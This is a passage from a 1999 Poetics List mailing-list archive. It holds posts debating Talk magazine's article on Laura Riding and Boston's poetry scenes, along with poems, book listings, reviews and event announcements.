Columbian times, and the later return of one of the masks over twenty years later, is the core around which are spun accounts of Mayan mythology, ritual practices, religious festivals, individual life histories, local social conflicts and the horrors of Guatemala's national politics. "

Shamoon Zamir is a Reader in American Literature at King's College London and co-editor of Talus Editions, a poetry small press. His previous publications include DARK VOICES: W.E.B. DU BOIS AND AMERICAN THOUGHT (Chicago University Press, 1995).

The review is illustrated with six color photographs from the early 1970s taken by Nathanial Tarn.

Check out Shamoon Zamir's review at this Internet address:
http://www.jacket.zip.com.au/jacket06/zamir-rev-tarn.html

from John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted] Editor, Jacket magazine:
http://www.jacket.zip.com.au/welcome.html Homepage: five megabytes of glittering literature, free, at
http://www.alm.aust.com/~tranterj/index.html

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96. Charles Bernstein
Talk's Riding
Sat 7 Aug 1999

I wonder if anyone else in Poetics List Land noticed that in the premiere issue of Talk magazine, just out, there is a piece on Laura Riding, detailing her close encounter with Schuyler Jackson and family in 1939? It's remarkable that Riding gets such a big spread, with a full page picture, in this magazine, but regrettable that only a few lines of her writing are included. More surprising, and unfortunate, is the impression given by the article that (Riding) Jackson stopped writing and settled down to become a housewife for the last fifty years of her life. The piece says she never wrote poetry again after meeting Jackson, but fails to note the voluminous "prose" that constitutes her later work, thus wiping out all reference to The Telling, Rational Meaning and her other essays of the 50s-80s. The article also says that Riding stopped writing poetry as a direct result of the break-up of Jackson's family, not only ignoring (Riding) Jackson's extensive commentary on this issue in her later work, but also ignoring the many premonitions of this renunciation of poetry in her earlier work. Thus, one of Riding's most significant aesthetic and philosophical positions is reduced to bathos. Of course, this article is not about Riding's work but about one of the most notorious events in her life, here given full tabloid treatment (but it's worth noting that there is nothing new in this piece; it is

pretty much a recycling of previously reported facts, even the "spin" is old). The author at one point says something to the effect that many poets are crazy -- the Blakes sitting naked in a tree, Pound's speeches on behalf of Mussolini, and Riding's "witch"-like break up of the Jacksons. There is also a description of Riding as being "hooked-nose" and unattractive, in contrast to the handsome Robert Graves. The piece ends with the suggestion that feminists are likely to lead any revival of interest in Riding but that, unlike Dickinson and Plath, she may not be a good role model for "womankind", since she is a two-time homewrecker. (Presumably suicide is more suitable for the woman writer than the sort of intellectual and social aggressivity of "hook-nosed" Riding.) I should note that I am recounting this from memory as I do not have a copy of the magazine at hand. But I believe I am conveying the drift. And the part I dislike most: here I am talking about TALK, right according to plan.

Charles Bernstein

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97. Maria Damon
Re: Talk's Riding
Sat 7 Aug 1999

At 7:43 PM -0400 8/7/99, Charles Bernstein wrote:
>I wonder if anyone else in Poetics List Land noticed that in the premiere
>issue of Talk magazine, just out, there is a piece on Laura Riding, detailing
>her close encounter with Schuyler Jackson and family in 1939? It's remarkable
>that Riding gets such a big spread, with a full page picture, in this
>magazine,
>but regrettable that only a few lines of her writing are included.etc

what is TALK?

↑ Index

98. Alan Sondheim
Adventure, or The Game of Life where I am Lost
Sun 8 Aug 1999

/

Adventure, or The Game of Life where I am Lost

no enter building take keys take lamp take food take water exit west down west west east west north south south down south unlock grate enter west take cage west light lamp take rod drink water eat food drop bottle west west west down down down up look up up look south north east take bird look east east east east east west west west west west west down look west wave wand cross

bridge take diamonds west north south south look cross bridge look south north east look west cross bridge wave wand look west east south north north look south east west east east wave wand cross bridge look east take axe up look west down down up up west look west east east east look xyzzy look look spring down exit south south south south south south north east west west west north quit yes

---

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99. Lynn Miller
THE SUMMER ANNIVERSARIES
Sun 8 Aug 1999

T R I - A X I U M

Horace’s Si vis me flere
that mutilated faction.

It was not the mass of mourners Byron found,
some distance conception,
an associative doctrine.

That it is not about myself I am writing
I am writing for you, to you, who do not exist
outside the thought of your infinite impossibility,
my hope that you might some day read these pages
as your own book as the books all these books
without your book could not have happened . . .

The cave of night, my fancy grew, a public way
who put aside the Diadem,
Rome, Athens and Jerusalem,

hillside weeds of desolation come and go, wilder
as it grows, unholy
leisure, say where

said the Grim Feature, one of that deluded crew
were or had been eyes,
child of a fierce hour

the cup she raised, the fortune of her Star
more than half crossed
I moved, it moved across

every day receiving loud, vague, tumultuous wonder.
I have three acres
of flax this season,

perhaps in the marketing of it, I may come your way
happy to have a friend
or two though I am sure

I may no more have the honor of counting you
among their number.
Had not the seed-time

come on so as it has, the flutter of Joy
apt to infest me
--I hope my B.--

thought of my E.--a relish, confronting you
I can never taste
an education far

beyond any I ever dared, and ask that your good
nature will excuse
what your excellent

intellect must see amiss. My fancy having fondly
flattered itself worthy
of a wish, now I am

desperate for the loss of what I threw away
and expect to remove
in a few days a little

further off, and if my expressions escape
rather too warm
for you, my dear

(pardon me the ‘dear’ once more) it is [deleted] true
I have formed an image
of a Renaissance in view.

A Mrs. Dunlop of Glasgow has spread among the village
tenets of some strange
fantastical jumble,

she gives up the ghost by breathing on them postures
and practices scandalously
indecent; they have disposed

of all their effects, and hold a community of goods
of which I am their
Utopian Projector.

If in your prayers you would remember a poor
Poet Militant nine
parts and nine tenths

stark raving mad, though I am conscious I have acted
wrong, not as when
in company with you,

permit me the honor of paying my devoirs.
I have been all my life,
Madam, one of the rueful

sons of Disappointment, I rarely hit where I aim,
and if I want anything,
I am almost sure never

to find it. In what language, Sir, would you have her
answer you? A plough-
wedge, a horse-nail, an

old letter or tattered rhyme that, however I might
possess a heart, more
than feelings, in my

readings have I not interpreted any proofs more strongly
every day arising to
speak her language?

I have taken up a volume of my Shakespeare
to realize her forward
bound from other folk

out of the dull, heavy, methodical clod, and set apart
two halves slung sharp,
eating his heart out or

it would appear so, when I go conquering also
and do not join them,
dogs Fear came over

paid back down to the pang. Post I have none save
one poor widowed
half-sheet of Gilt, it

lies [deleted] among my plebian foolscap pages,
[n]or his Grace of Q.
the Powers of Darkness

my friend Cunningham to me. Not that I cannot
write you: should you
doubt [that (deleted)] it,

take this fragment intended for you some time ago
and rest convinced that I
can antithesize sentiment

and circomvolute Periods as well as any in Philology.
A want of dexterity
renders my scantling

of happiness still less, to tell you true (in the language
of that elegant science,
the Law), the reason why

I trouble you with this, is, I have a woman’s longing
for freedom to assure you
a copy too in French I much

want, any other good authors in their native tongue
I want all of them, such
another sheet of yours

a nice ear for the lyre, it may give the possessor
a [deleted] extacy unknown
to the coarser [two words

are deleted] organ [five lines of the letter
are cut away here] . . .
My gallant young friend,

Anthony, writes to me: "the demons of despair
& death, ride on the blast,
& urge the howling storm."

I hope Miss Rosenthal is doing well and going
in favor with Apollo
and the Nine, as in

the hive the honey bees keep feeding drones,
conspirators in wrong,
if to know one’s errors

were a probability of mending them, I may stand
a chance, having never had
an hour among great folks,

throwing off impression of my book do not deny me
this my darling Petition.
I am willing to believe

my abilities deserve some notice when Poetry
has become the profession
of polite learning, to be

dragged forth to the full glare of polite Philosophy
with all my imperfections
of unpolished rusticity

and crude ideas. I am indebted to the Author
and am certain to
have written her

my acknowledgments. Bronze runs around
and all around it runs
the wall, are we at Ayre?

Robert Burns

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100. **james loucks**
Re: Talk's Riding
Sun 8 Aug 1999

Anyone interested in research on Riding would (eventually, at least) want to see the papers of Ronald Bottrall, the British poet, who for a time -- during the Graves episode -- was deeply influenced by Riding. Amongst the letters between Bottrall and Riding are examples of her voluminous marginalia in Bottrall's poetic mss. The Bottrall papers are in the Ransom Center at Texas.

All best,

Jim

At 07:43 PM 8/7/1999 -0400, you wrote:
>I wonder if anyone else in Poetics List Land noticed that in the premiere
>issue of Talk magazine, just out, there is a piece on Laura Riding, detailing
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>meeting Jackson, but fails to note the voluminous "prose" that constitutes
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>later work, thus wiping out all reference to The Telling, Rational Meaning
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>writing poetry as a direct result of the break-up of Jackson's family, not
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>work, but also ignoring the many premonitions of this renunciation of
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>philosophical positions is reduced to bathos. Of course, this article is not
>about Riding's work but about one of the most notorious events in her life,
>here given full tabloid treatment (but it's worth noting that there is
nothing
>new in this piece; it is pretty much a recycling of previously reported
facts,
>even the "spin" is old). The author at one point says something to the effect
>that many poets are crazy -- the Blakes sitting naked in a tree, Pound's
>speeches on behalf of Mussolini, and Riding's "witch"-like break up of the
>Jacksons. There is also a description of Riding as being "hooked-nose" and
>unattractive, in contrast to the handsome Robert Graves. The piece ends with
>the suggestion that feminists are likely to lead any revival of interest in
>Riding but that, unlike Dickinson and Plath, she may not be a good role model
>for "womankind", since she is a two-time homewrecker. (Presumably suicide is
>more suitable for the woman writer than the sort of intellectual and social
>aggressivity of "hook-nosed" Riding.) I should note that I am recounting this
>from memory as I do not have a copy of the magazine at hand. But I believe
>I am
>conveying the drift. And the part I dislike most: here I am talking about
>TALK,
>right according to plan.
>
>Charles Bernstein
>
James F. Loucks
Associate Professor of English

The Ohio State University at Newark
1179 University Drive
Newark, OH 43055-1797
[redacted] (voice mail)
from Columbus: [redacted] x 423
fax: [redacted]
e-mail: [redacted]

↑ Index

101. david bromige

hooknose goodness (or disappointing Talk)

Sun 8 Aug 1999

The author at one point says something to the effect
>that many poets are crazy -- the Blakes sitting naked in a tree, Pound's
>speeches on behalf of Mussolini, and Riding's "witch"-like break up of the
>Jacksons. There is also a description of Riding as being "hooked-nose" and
>unattractive, in contrast to the handsome Robert Graves.

Speaking as one who has broken up several marriages by sitting naked in a tree ranting like Pound on Mussolini & believing my nose to be hooked, a poet in brief, albeit no Dickinson nor Plath, I have seldom envied Robert Graves because I figure I can always fall in love with handsome people if I absolutely must. That is, I'm crazy to show that you are. But away with biography, because the imperative via 19th C "great men" theory unquote just wont quit, to reduce words to life. Thank _Charles_ for the info and the qualification of same. Sounds like an article I'd like to read in a bathtub full of hot water, slowly nodding off as it slips into oblivion. Maybe I'll try that tomorrow.

Longer (& longer)

Poetry has to be
impossible
to be more
interesting than sex
with close relatives
or deliberate crime

Poetry had to be
steamed then spread
upon an ironing-board
spelling man from uncle
& thats why we cant
Laura, I see your name
in the misty bookshop

window to which a voice
of mine had led

Poetry to be symmetrical
& barely possible
owes a debt to society
one of the few that really
& rarely counts
& when it counts
froth springs to its lips
for kissing toads
in this learned urinal
pet rock sullies numberly

(Poetry to be less
than the brevity for which
one hoped, must go on
& on with a hammer
nailing pictures to a wall--
"Didnt know I was riding
the high wire till I hit
pay-dirt & died"
sighed Van Gogh's room
& bed-board to the albatross
in which extension perishes

db

↑ Index

102. **nuyopoman**
Re: Talk's Riding
Sun 8 Aug 1999

Charles,

Will you please stop talking about TALK according to plan, and WRITE for TALK?

It is a terrific opening to have great US poet in premiere issue. Laura Riding knew the demands of poetry to the bone her prose is despite her.

Send your Letter to the Editor _to_ the Editor (or, better, get your agent to press them for a reply, or better, have Tina give you a Column!). The linesmen of capital have made a hole in reality/dear Ballcarrier please storm touchdown for Truth !

BobH

↑ Index

103. R Democracy
Re: Where's Boston? Where's Boston's Poets?
Sun 8 Aug 1999

Tisa,

Was great to read your piece and as well see John Keene mentioned in your list. I was blown away by his memoir/novel _Annotations_ published by New Directions (I believe at the Outwrite conference he said he was the second African American published by ND in its history--the other Bob Kaufman). I looked him up and he has an excellent website with cool on line poetry innovation: http://pages.nyu.edu/~jrk3150/poem.html

but I guess he hasn't been in Boston for a while.

--RDL

↑ Index

104. Tony Green
Re: Talk's Riding
Sun 8 Aug 1999

Charles Bernstein writes, a propos TALK & Laura Riding:

> *And the part I dislike most: here I am talking about*
> *TALK,*
> *right according to plan.*

While the inadequacies described of TALK's piece on Riding make it a typical annoyance of journalism, what is the best tactic against it?

I favour no mention of the publication outside discussion on the list or in similar locations. & a dismissive one-liner if anyone outside raises it as if it were reliable, when seeking to use it to diss -- in this instance -- Riding or modern poetry.

What do others on the list do in such circumstances?

Tony Green

↑ Index

105. **aerialedge**

New @ Bridge Street, N.A.P., Krupskaya, Debord, Avant Gardening &&&

Sun 8 Aug 1999

The good books. yup. Ordering & discount information at the end of the list. Thanks, poets. & other people too.

1. _The New American Poetry 1945-1960_ ed. Donald Allen, U Cal, $16.95. Back in print. "The visionary anthology that influenced two generations of poets and readers." yup.

2. _Guy Debord_, Anselm Jappe, U. Cal, $17.95. "You want to prolong that first experience of illegality for ever after."

3. _The Autobiography of Red_, Anne Carson, Vintage, $12. "He came after Homer and before Gertrude Stein, a difficult interval for a poet."

4. _Economy of the Unlost (Reading Simonides of Keos with Paul Celan_, Anne Carson, Princeton, $29.95. The ancient Greek lyric poet Simonides of Keos was the first poet in the Western tradition to take money for poetic composition. From this starting point, Anne Carson launches an exploration, poetic in its own right, of the idea of poetic economy.

5. _Chain 6: Letters_, ed Jena Osman & Juliana Spahr, $12.

6. _In Company: Robert Creeley's Collaborations_, de Amy Cappellazzo & Elizabeth Licata, Castellani Art Museum / Weatherspoon Art Gallery, $24.95 (includes CD Rom). Essays by the editors, John Yau, & Hank Hine. Commentary by collaborators such as Jonathan Williams, Georg Baslitz, Susan Rothenberg, Jim Dine, Francesco Clemente, & Alex Katz. Lots of color reproductions.

7. _The Objectivist Nexus: Essays in Cultural Poetics_, ed Rachel Blau DuPlessis and Peter Quartermain, U Alabama, $24.95. Charles Altieri, Burton Hatlen, Ming-Qian Ma, Alan Golding, Eric Homberger, John Seed, Michael Heller, Peter Middleton, Norman Finkelstein, Charles Bernstein, Peter Nicholls, Robert Franciosi, Andrew Crozier, Stephen Fredman, & Yves di Manno.

8. _Medieval_, Steven Farmer, Krupskaya, $9. "my name is Sergio and I am destined for economic ruin"

9. _Last Instance_, Dan Farrell, Krupskaya, $9. "So consciousness is not as much as its appurtenances. This is the last gong I will ever bong on on on on on."

10. _Fracas_, Liz Fodaski, Krupskaya, $9. "let x = o. / we still have too many constants / see dangle, see ding."

11. _came like it went_, Greg Fuchs, Buck Downs Books, $10.95. "Be the first/ to bring the baron home tonight; / beat the baron, / slay the baron, / eat the baron."

12. _The Germ #3_, ed Macgregor Card & Andrew Maxwell, $6.

13. _Too Much Johnson_, Michael Gizzi, The Figures, $8. "I resign from mouthwatering / and zigzagging which seems / to me an apocalyptic entre / nous in the buff"

14. _Rocks on a Platter_, Barbara Guest, Wesleyan, $12.95. "Is the pear-shaped manuscript // endangered? // Alas, its honied drip. // The honied drip."

15. _at. least._, P. Inman, Krupskaya, $9. "someone's, ravel, / undermined, / about, things, / the, walk, i, / lay, through, / as, nothing, / to, a, setting"

16. _Patzcuaro_, Joanne Kyger, Blu Millennium, $8. "Give me a word like / 'bathtub' born out / of the stunning void / of a moment / before when all registered / as 'ocean'."

17. _The Tales of Horror_, Laura Mullen, Kelsey St, $12. "the words will never reach anyone, or"

18. _Charles Olson and Frances Bolderoff: A Modern Correspondence_, ed . Ralph Maud & Sharon Thesen, Wesleyan, $24.95. "now man with a long face cannot quite pull off any more of these god inventions"

19. _Rhizome 3_, ed. Standard Schaefer & Evan Calbi, $10.

20. _The Public World / Syntactically Impermanence_, Leslie Scalapino, Wesleyan, $17.95. Essays, including "The Radical Nature of Experience," "The Canon," "Silence and Sound/Text," "The Recovery of the Public World," "The Weatherman Turns Himself In," and "Friendship."

21. _The Tablets_, Armand Schwerner, National Poetry Foundation, $19.95 (includes CD). "ok freki ok freki ok freki ok freki ok freki"

22. _Avant Gardening: Ecological Struggle in the City & the World_, ed Peter Lamborn Wilson & Bill Weinberg, Autonomedia, $8. Bernadette Cozort, Bernadette Mayer, Sarah Ferguson, Carmelo Ruiz, Lyx Ish, John Wright, Miekal And, Jack Collom, & Joe Hollis.

Some bestsellas:

Selected Writings Volume 2, Walter Benjamin, $37.50.
Pamela: A Novel, Pamela Lu, $12.95.
Girls on the Run, John Ashbery, $20.
Midwinter Day, Bernadette Mayer, $12.95.
Stealer's Wheel, Chris Stroffolino, $12.95.
Protective Immediacy, Rod Smith, $9.95.

Pierce-Arrow, Susan Howe, $14.95.
Overtime: Selected Poems, Philip Whalen, $16.95.
Polyverse, Lee Ann Brown, $11.95.
My Way: Speeches and Poems, Charles Bernstein, $18.
Sight, Lyn Hejinian & Leslie Scalapino, $12.
Dark, Hoa Nguyen, $7.
Meadow, Tom Raworth, $7.
New Time, Leslie Scalapino, $11.95.
Daybook of a Virtual Poet, Robert Creeley, $12.
Tales of Murasaki & Other Poems, Martine Bellen, $10.95.

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books. We must charge shipping for orders out of the US.

Bridge Street Books, 2814 Pennsylvania Ave NW, Washington, DC 20007.

↑ Index

106. Alan Sondheim

+ +

Mon 9 Aug 1999

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↑ Index

107. A H Bramhall
Right About Here (Community Standards)
Mon 9 Aug 1999

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it was quite a day. the energy transmitted much of value. the miners rested at home, a much-needed day off. tomorrow, the effort would continue. the thing would be exposed, like it or not. some damn troubadour will expect reward, silly painters will thrill at the latest product of their imagination, and seeds will be sown, for whatever worth of any of that. obnoxious as all that might be, still, you can't blame them their forward district presence. they have the haven and they know how to use it. that's why sitting at the machine feels so good. simply wielding the pickaxe in knowledgeable grace completes the picture of perfect focus. we aren't children, none of us are, but we have grit. that grit has been earned, from scraping the ore and fighting tooth and nail with the elemental silliness of the mined Earth. no one is keeping records of the business that keeps on, no matter the weather. today is just a moon phase in a stream of varying lights. that's no joke and could prove important, if anyone manages to read the book. first the book must be sent with viscous force to the proper authority and let the wind direct it fortunately to its destined final nest. and all this time we will have struggled out of torn coats to give the pauper standing in the left part of our dream room. what are you going to say when the miners waken, strengthened by resolve and flushed to get back to work? you will praise, you will encourage, you will try to carry on. there's no message here, it's just the sensible etiquette of a far from impossible situation.

↑ Index

108. Gerald Schwartz
Re: Talk's Riding
Mon 9 Aug 1999

FURTHER SHILLING FOR TINA BROWN:
Riding HERSELF

To "read TALK"
is a familiar expression. The experience
of reading TALK differs
from that of
knowing a fact. The thing
known, in this case
LAURA RIDING, exists --
once known as a component
of one's own working equipment,
as something with

which one thinks. A Laura
Riding is one's own Laura Riding.
It is also a fixture
of common lore
of rational distinctions of
tried mental workability.

There is no issue
as to TALK
and LAURA RIDING,
from the linguistic
point of view, except in regard
to knowledge: the knowledge of
Laura Riding is differently
constituted from that
of the knowledge of Laura Riding.

shillingly, Gerald

↑ Index

109. R Democracy

Re: Reading Announcement (please circulate)

Mon 9 Aug 1999

Announcing Poetry Reading Series at Women's Bookstore!!!

Akilah Oliver (the she said dialogues, Smokehouse Press, 1999) and Marcella Durand (City of Ports, Situations, 1999) will inaugurate the BELLADONNA* Reading Series, curated by Rachel Levitsky.

At the Bluestockings Women's Bookstore at 172 Allen Street between Rivington and Stanton on the Lower East Side of Manhattan Thursday, August 26 at 9:00 pm.

Contact [redacted] for info. (There will be 15 minutes provided for open readers).

> *From The She Said Monologues (Akilah Oliver)*

we forget, she said

i want the metaphor clear.
i want to clarify. you get what you want if you want it hard
enough. bullshit. take it like truth. gurus & gods. tender
buttons. i wanted to say that. weight. if we wasn't at least
half spirit why do we always betrying to fly. angels in
distress. jamborees in the morning. slick taste of cocaine

chorusing down throats. i never saw a clown i liked.
subterranean train stations. gum & cigarettes & strange
candy wrappers.men.eyeing the foreigner.me.all the time
i hear pieces of st. louis. somewhere in the clouds. carly
simon. clouds in my coffee. a pop reference. why pretend
we hear plato speak. open wide. send the soldiers out to
pasture.ice t. snicker his high yellow niggah badder than
the best don't fuck with me stance. champions we be. waves
recede. how come we don't make anymore mythology. in
finland once all night the sky was day.

well why wouldn't you, she said

discard the proud robe of victim. sky is whistling.
oh the little earthlings, some other synonym for free.
move. the beat of another drummer. shhhh. we're having
a brilliant time.
sexual acts performed in the town square. town mall. woo
the angels. only a woman can empty so fully. the beauty
that is the pain's opposite. honey. inhale their air. cover
my eyes. silly bandit. this is the way i want
you to kiss me

from City of Ports (Marcella Durand:)

City of Ports 12

Inheritance of a paper found scrolled
within the hollow column of a demolished

synagogue which was first a hotel for
former loan arks and transient architects

from whom the lobby benefited with their
unorthodox payment of restringing lamps,

ducting load-bearers, dying carpets and
spreading rugs over weakened damp areas

of the plywood styrofoam floors which
sagged like mattresses under the coming

and goings of many feet like thunder
rolls through the insulated city.

↑ Index

110. Poetics List Administration

Propjet #2 / Molina

Mon 9 Aug 1999

---

had to reformat this message. Chris

--

Date: Sun, 08 Aug 1999 23:16:35 -0500
From: Joanne Molina <[redacted]>
Subject: PROPJET #2 Heather Fuller's EYESHOT

PROPJET is pleased to announce the publication of Heather Fuller's chapbook:

EYESHOT

If you haven't heard of the most fabulous Heather Fuller:

Heather Fuller is the author of the poetry collection, perhaps this is a rescue
fantasy (Edge Books, 1997), a poetry chapbook, beggar (Situation, 1998), and a
forthcoming play, Madonna Fatigue (Meow Press, 1999), and a forthcoming poetry
collection, C Ration Dog & Pony (Like Books, 1999). Her essays, plays, and poetry
have appeared in Chain, the minnesota review, Phoebe, So to Speak, two girls
review, Combo, Membrane, Articulate, Poetry New York, and elsewhere. She resides
in D.C., where she edits poetry and book reviews for the washington review.

If you are interested in purchasing a copy of her chapbook, EYESHOT, please
contact Joanne Molina at [redacted] or at:

PROPJET
Joanne Moilina
4105 North Bernard
#2F
Chicago, IL 60618

The PROPJET chapbook series is edited and published by Joanne Molina. The
first issue, Jefferson Hansen's SPINNING DOCTORS, is also still available for $3
a copy. A year's subscription is $10 and there are three chapbooks published
per year.

PROPJET #3 will feature the wonderful work of Sherry Brennan.

↑ Index

111. Tosh
Re: Talk's Riding
Mon 9 Aug 1999

TALK Magazine is Tina Brown's (New Yorker/Vanity Fair) new publication.

Tosh Berman
TamTam Books

↑ Index

112. Pritchett,Patrick
Re: Talking about Talk
Mon 9 Aug 1999

> *Dear Maria,*
>
> *TALK is the new magazine edited by Tina Brown -- of The New Yorker & Vanity Fair. She was lured away from NY to start it at the behest of Harvey Weinstein, who runs Miramax (now owned by Disney). The idea was, ho hum, synergy -- that is, use the magazine as a base from which to derive possible film projects. Seems a damned expensive way to go about it. When I worked in Hollywood we just called it development and did the bloody footwork ourselves. Oh well. The first issue features on its cover photos of Jackie O and Gwnyeth Paltrow in bondage gear. That is -- it's daring in all the old worn out ways. I predict it will run in the red forever and fold in 18-36 months.*
>
> *Patrick*

↑ Index

113. Linda Russo
Re: Where's Boston? Where's Boston's Poets?
Mon 9 Aug 1999

. . . about 459 miles east of buffalo.

Tisa, you hit it right on the head for me here, in re The Dark Room Collective being an "accessible alternative" : --

There's a lot going on in Boston any day of the week, and I went to a lot when I lived there for several years, but never found a scene that really compelled me -- so were they really accessible? They were *there,* some more open than others. (I found DR, btw, one of the more open bunch of people, compelled as I was to on one occassion read when I hadn't brought any poems with me, and

went up extempore to re-poem what I thought I'd written and had by memory.) One thing Aaron's done is to increase accessibility both for the Boston scene(s) and the people who levitate (back) towards them in their yet-another sweep through the area. The conversations that are spinning off _here_ I take as a sign of that accessibility (not to mention that my priviness to them a sign of what this list makes accessible). The forum's got to exist to address concerns (such as Jacques'), to find/make direction(s).

* * *

↑ Index

114. Mark Weiss
New Books
Mon 9 Aug 1999

Here's Fred Muratori's review of Armand Schwerner's _Selected Shorter Poems_ and _The Tablets_ in the August _Library Journal_.

>Schwerner (1927-99) was a maximalist, a poet of expansive aims and encyclopedic learning whose interest in anthropology and religion fueled a poetry that explored the very nature of civilization. The simultaneous publication of his lifelong project, _The Tablets_, and a generous selection of shorter poems, most out of print, is likely to fix his position among major postwar experimenters such as Robert Duncan, Louis Zukofsky, and Charles Olson, with whom he has been compared. _The Tablets_ is the fictional restoration and analysis of an ancient Sumerian text, complete with scholarly notes, pictographs, debatable translations, and missing or lost passages. More than that, it's a huge vessel into which the poet deposits aspects of his own identity while probing the process of epistemology itself. In a manner similar to that of the late avant-garde Canadian poet bpNichol, Schwerner laces his mock-academic pursuit with humor, invention, and an almost electric opassion. The same qualities are found in Schwerner's lyric meditations, as the poet attempts to articulate how the "variegated mystery" of the self can achieve synthesis, becoming "the one mind in orchestration." Again, he draws on a "wild spectrum" of sources--Eskimo poetry, Buddhism, Zuni myths--but frequently allows his playful sense of language ("How remunerative/ to be eleemosynary") to lighten the oracular load. Earnest and eccentric, stuffed with enough puzzles to keep poetry readers and scholars delightfully busy through the next century, these two volumes are essential for all libraries with substantial poetry collections.
>

Selected Shorter Poems, at 144 pages, contains Armand's own selection of two-thirds of his non-Tablets poetry, including poems that have only appeared in periodicals.

Here's the review, anonymous as usual, of Mervyn Taylor's _The Goat_ from July's _Publishers Weekly_.

>Taylor's New York poems comprise a roughly virtuosic series of contemporary vignettes laced with apocalpse; they are attuned to the pain in all desire and the beauty in decay--not unlike Lorca's explorations of the city. Beginning "one of those nights/ when the intersection is crazy/ with cars," and moving swiftly through casual, but angst-tinged observation--Taylor's second collection portrays people on the economic and social fringes, from the "Old Soldier in the Park" ("his white hair flying/ against the green,/ a bird out of formation") to the pathetic story of "Sleepy," about a mother who spots her son's face on a wanted poster. Sometimes Taylor has a lighter touch ("the snow has no philosophy/ but to fall for two days straight"), but he can also cross the line into overstatement, as in his poem "A Witness," dedicated to the then-U.S. poet laureate Robert Hass: "He had undertaken the job as caretaker/ to hios country's eloquence, in charge/ of its rhymes, its superstitions/ in the year of the most stars pitched/ most children abused." Finding no easy answers, yet never letting his lyrical and painterly gifts spiral off into irrelevance, Taylor remains true to his desire to get his world on paper, a world of New York and beyond that continues to be inflected by his Trinidadian roots: "He feels for a taste/ of his own flesh, he can smell it all the time,/ cooking in the curry of a human dream."
>

I'll only add that about half the poems are set in Trinidad.

All three books are available from SPD. _Selected Shorter Poems_ and _The Goat_ can also be ordered direct from Junction Press, PO Box 40537, San Diego CA 92164, email [redacted].

Armand Schwerner, _Selected Shorter Poems_, ISBN 1-881523-11-X, 144 pp., $16.00
Mervyn Taylor, _The Goat_, ISBN 1-881523-10-1, 96 pp., $11.00

Shipping costs: add $2.00 for up to three books.

↑ Index

115. R. Drake
Re: Help!
Mon 9 Aug 1999

---

i'm among the missing? an honor, i guess:

[redacted]

or work

[redacted]

how things?

lbd

> *Somebody please backchannel phone numbers and/or email addresses for Nathaniel Mackey, Roberto Tejada and Luigi Bob Drake.*

↑ Index

116. Edward Foster
Re: Symposium on the Work of William Bronk
Mon 9 Aug 1999

Call for papers:

A symposium on the work of William Bronk will be held November 13-14, 1999 at the Stevens Institute of Technology, Hoboken, NJ. Among the many critics and poets who will be making presentations are David Clippinger, Joseph Conte, Joseph Donahue, John Ernest, Norman Finkelstein, Lyman Gilmore, Burton Hatlen, S.M. Kearns, Burt Kimmelman, David Landrey, Geoffrey O'Brien, Michael Perkins, Paul Pines, Leonard Schwartz, and Henry Weinfield

If you would like to participate and have not yet contacted the symposium directors (David Clippinger, Burt Kimmelman, and Edward Foster) please contact Edward Foster at [redacted], at [redacted], or at the Department of Humanities and Social Sciences, Stevens Institute of Technology, Hoboken, NJ 07030.

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117. Tony Green
Re: Talk's Riding
Mon 9 Aug 1999

CNN coverage of launch of TALK was
on breakfast TV in NZ this a.m. Funny,
no mention of Laura Riding. The names
of big corporations

blurred into promo fireworks
& the Statue of Liberty.

Tony Green

↑ Index

118. David Kirschenbaum
Ethnicity and the BoPoFest
Mon 9 Aug 1999

The more important question in discussing the BoPoFest, each of which I participated in, is ethnic inclusion. I haven't done a scan like Dan Bouchard did (ie: Boston, non-Boston) as per ethnicity, but the ratio has to be -- at best -- in the 5:1 range. I think it's like the cafeteria at college, where everyone sits in their clicks, be it by color, ethnicity, sports team, yearbook or pep squad. The idea of the other is so frightening, and the desire to learn of it so far-fetched, that people - most anyhow - stick within their wee community. I expect it of the masses, but not from the creative types, especially within the confines of this event. I think Aaron, as any organizer/editor does, myself included, represents the work to which he has been exposed. When I mentioned getting Quincy Troupe for next year's conference, Aaron said, "Who?" But, Aaron is receptive to new ideas, either asking for work by the recommended author or digging it up himself, to see if it fits with his aesthetic for the conference - though it's more a feel than a, ugh, aesthetic. To me, he said the former, so next time I see him I'll pass him my copy of "Avalanche" or "Weather Reports."

Be Good,
David

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

↑ Index

119. Maria Damon (Maria Damon)
Re: Where's Boston? Where's Boston's Poets?
Mon 9 Aug 1999

---

great post, tisa; "alternative" does tend to mean a certain alternative, namely, an "experimental" style. like "avant garde." i've tried to argue that "vanguard" could/should usefully be redefined as "coming from the margins," but to no avail. i get the tautological critique: what about pound? what about olson? he's avantgarde but not socially marginal. in vain i respond that that's not the vanguard i'm talking about --that for me, it means "relative to the center"--any

center, not just aesthetic. there's a social vanguard. how 'bout a Darkroom Collective reunion at the next BoPoCo?

At 7:03 AM 8/6/99, Tisa Bryant wrote:
>Hello.
>
>I'd like to offer a few, okay several (dis)jointed and rambling comments.
>
>I'm a Boston native, living here for 4 years in SF (that's San Francisco).
>
>Certainly my eyes opened wide to hear about an "alternative" poetry
>conference in Boston, the 2nd annual, no less. Wish I could've been there;
>wish this had happened 10 years ago. But then, I'm sure it had, and then,
>I know it did again. And again. And will. So.
>
>Regionalism is just that. Boston always gets short shrift in the
>competition for center of the universe, and really, so what? Community
>happens wherever you are, and so does poetry. Schools or centers of any
>kind of thought/production often produce repetitions. What's been exciting
>has been to know that there's all kinds of poetry going on, everywhere, all
>the time. I just need to speak more languages, within the American tree of
>words, and with the roots of other countries.
>Someone asked who among the Alt Bo Po line up was actually "from" Boston.
>There was some brave poet there who read with "heart"? Does that mean our
>notorious honking accent? (I'm laughing here.)
>
>(I, like Bo Po's organizer, Kiely, am yet another "uncredentialed"
>independent doing whatever I want or feels needs to be done, on my own
>terms, and with help from friends. This "alternative" way of doing things
>is often collapsed into "activism", which is fine with me. And I think
>this point warrants another conversation about what and whom is being
>measured and legitimized, and by whom, with what, what yield? Academic
>elitism, romanticized movements, idolatry, clout and influence indeed.)
>
>Boston is a big college town with a 5% sales tax and a hard core local
>populace perpetually chafing against transient intellectuals and their
>overwhelmingly khaki influence on the city's personality, or lack thereof,
>as well as more of the same between working classes and Boston Brahmins,
